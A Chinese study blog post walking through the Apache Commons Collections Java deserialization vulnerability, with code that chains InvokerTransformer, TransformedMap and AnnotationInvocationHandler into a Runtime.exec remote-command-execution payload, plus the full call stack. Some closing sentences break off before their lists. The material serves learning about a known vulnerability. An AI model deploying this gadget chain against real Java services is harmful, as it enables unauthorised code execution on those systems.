> Author: shaobaobaoer
> Codes : https://github.com/ninthDevilHAUNSTER/JavaSecLearning
> Mail: shaobaobaoer@126.com
> WebSite: shaobaobaoer.cn
> Time: Saturday, 25. July 2020 11:02AM
Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象。
这个组件应该用的非常多的,我用的是在http://www.java2s.com/Code/Jar/a/Downloadapachecommonsjar.htm上下载的apache-commons.jar文件。其他的jar应该大同小异,也可以在 maven仓库 中下载。(咱不懂为啥JAVA的包管理机制这么奇怪,我这个小菜鸡不知道,也不敢问~)
在Collections中提供了一个非常重要的类: org.apache.commons.collections.functors.InvokerTransformer, 这个类实现了:java.io.Serializable接口。
InvokerTransformer类实现了org.apache.commons.collections.Transformer接口, Transformer提供了一个对象转换方法:transform.主要用于将输入对象转换为输出对象。InvokerTransformer类的主要作用就是利用Java反射机制来创建类实例。
InvokerTransformer 扩展了 序列化 与 Transformer 类。
其构造函数为三个东西,一个是方法名,一个是参数类型列表,一个是参数列表
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
其提供了一个方法,带入一个Object,可执行其Object.methodName(args)这样的方法
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
使用InvokerTransformer实现调用本地命令执行方法。但在真实的漏洞利用场景我们是没法在调用transformer.transform的时候直接传入Runtime.getRuntime()对象的(毕竟代码是人家写的)
public static void InvokerTransformerVuln() throws IOException {
InvokerTransformer itf = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd});
Process res = (Process) itf.transform(Runtime.getRuntime()); // 相当于 Runtime.getRuntime().exec(cmd)
String res_output = IOUtils.toString(res.getInputStream(), "GBK");
System.out.println(res_output);
}
ChainedTransformer类实现了Transformer链式调用, 我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。
其构造函数为传入一个 Transformer 数组
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
transform方法为对其循环调用
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
所谓调用链,先来搞一下直线式构造到底的调用链。如下所示:
Runtime.class.getMethod("getRuntime").invoke(null).exec(cmd)
将其展开为InvokerTransformer链,则有:
ConstantTransformer 为获取一个常量。其tranform方法就是返回这个常量。
Transformer[] tf_array = new Transformer[]{
new ConstantTransformer(Runtime.class), // Runtime.class.
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
), // Runtime.class.getMethod("getRuntime")
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),// Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
// Runtime.class.getMethod("getRuntime").invoke(null).exec(cmd)
};
注意,对于语句
Runtime.class.getMethod("getRuntime").invoke(null).exec(cmd)
并不执行得了,因为invoke返回的是Object对象,Object对象是没有exec方法的。
按照写为一行的代码,真正能正确执行的语句应该是
((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec(cmd)
这样才能正确执行。
TransformedMap 本意是对放入Map的键值对做一些转换。 这转换的方法就是transformed类,而该类又存在着反序列化的方法来保存内容。由此就有了反序列化的漏洞
// 构造函数的protected ,用decorate来实现。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
Put
使用Put,Putall等方法会触发 keyTransformer
和 valueTransformer
,而获取单个元素后,使用 SetValue
会触发 valueTransformer
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
public static void TransformedMapVuln() {
try {
HashMap<String, String> m = new HashMap<String, String>();
m.put("1", "1");
Transformer transformedChain = new ChainedTransformer(evil_tf_chain);
Map<String, String> transformedMap = TransformedMap.decorate(m, null, transformedChain);
for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;
// setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
entry.setValue("test");
}
} catch (Exception e) {
e.printStackTrace();
}
}
我装的是JAVA 14,这个类的写法和 别人博客 里非常不一样,所以也导致了我复现失败。
注:在高版本的1.8 JDK往后的JDK中该类的代码已经被修改,而无法使用,因此如果你需要做这个实验的话,需要安装1.8的低版本JDK,例如在1.8 u60中该代码可以被使用。
AnnotationInvocationHandler
类实现了 java.lang.reflect.InvocationHandler
(Java动态代理)接口和 java.io.Serializable
接口,它还重写了 readObject
方法,在 readObject
方法中还间接的调用了 TransformedMap
中 MapEntry
的 setValue
方法,从而也就触发了 transform
方法,完成了整个攻击链的调用。
由于它是一个内部类,不能直接new,但是我们有着万能的反射机制。其入口参数是一个Annotaion接口的实现类以及一个Map。
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
...(省略无关代码)
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name))); // 注意此处的setValue
}
}
}
}
}
观察其readObject的最后一行,可以看到其存在着一个遍历Map中元素,并setValue的操作。
那么之前在分析 TransformedMap
有发现,其实它的setValue会触发transform的方法(如ChainedTransformer.transform)。于是就完成了RCE。
public static void AnnotationInvocationHandlerVuln() {
try {
Map<String, String> m = new HashMap<>();
m.put("value", "value");
Map<?, ?> transformedMap = TransformedMap.decorate(m, null, new ChainedTransformer(evil_tf_chain));
Class<?> Aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> Aih_cons = Aih.getDeclaredConstructor(Class.class, Map.class);
Aih_cons.setAccessible(true);
Object obj = Aih_cons.newInstance(Target.class, transformedMap);
ObjectSerializeAndDeserializeWithStream(obj); //模拟序列化与反序列化的过程,理论上可以完成命令执行,但是我JAVA版本14复现失败了。
} catch (Exception e) {
e.printStackTrace();
}
}
ObjectInputStream.readObject()
->AnnotationInvocationHandler.readObject()
->TransformedMap.entrySet().iterator().next().setValue()
->TransformedMap.checkSetValue()
->TransformedMap.transform()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->Method.invoke()
->Class.getMethod()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.getRuntime()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.exec()
那么回顾刚才这一些系列的操作,我们是不是可以总结一下呢?看到了 Freebuf上的一篇博客 ,感觉获益匪浅。这里记录下。
这么说自然是非常抽象,接下来引入那个 AnnotationInvocationHandler的调用链,就有较为直观的认识。
希望这个例子能对我理解Apache Commons Collections的反序列化漏洞有所帮助。
之后将详细对这三部分进行整理。
找到一个可以实现执行恶意代码的工具类,他们的作用是将我们的恶意代码伪装起来,并且在一个合理的时机里触发我们的恶意代码。
在之前的介绍中,符合这样一个类型的Object是
根据精心设定,这些类在执行 transform
方法的时候,会触发预先植入的恶意代码。
该类是可以被反序列化的,将上述对象包装到这个类中,这样在这个类进行反序列化的过程中,它将会调用readObject方法的同时,进行一些额外的操作,这些额外的操作是可以利用的,并且会触发恶意对象中的恶意方法。
在之前的介绍中,符合这样一个类型的类是
这样一个包装类,会在隐藏得执行一些序列化/反序列化操作。这样就能够触发之前SerializableClass中的readObject方法。那么哪些类有着这些特征呢?
如果SerializableClass为AnnotationInvocationHandler,那么就需要找到连接Map.setValue和InvokerTransformer.transform的桥梁。
在之前的介绍中,符合这样一个类型的类是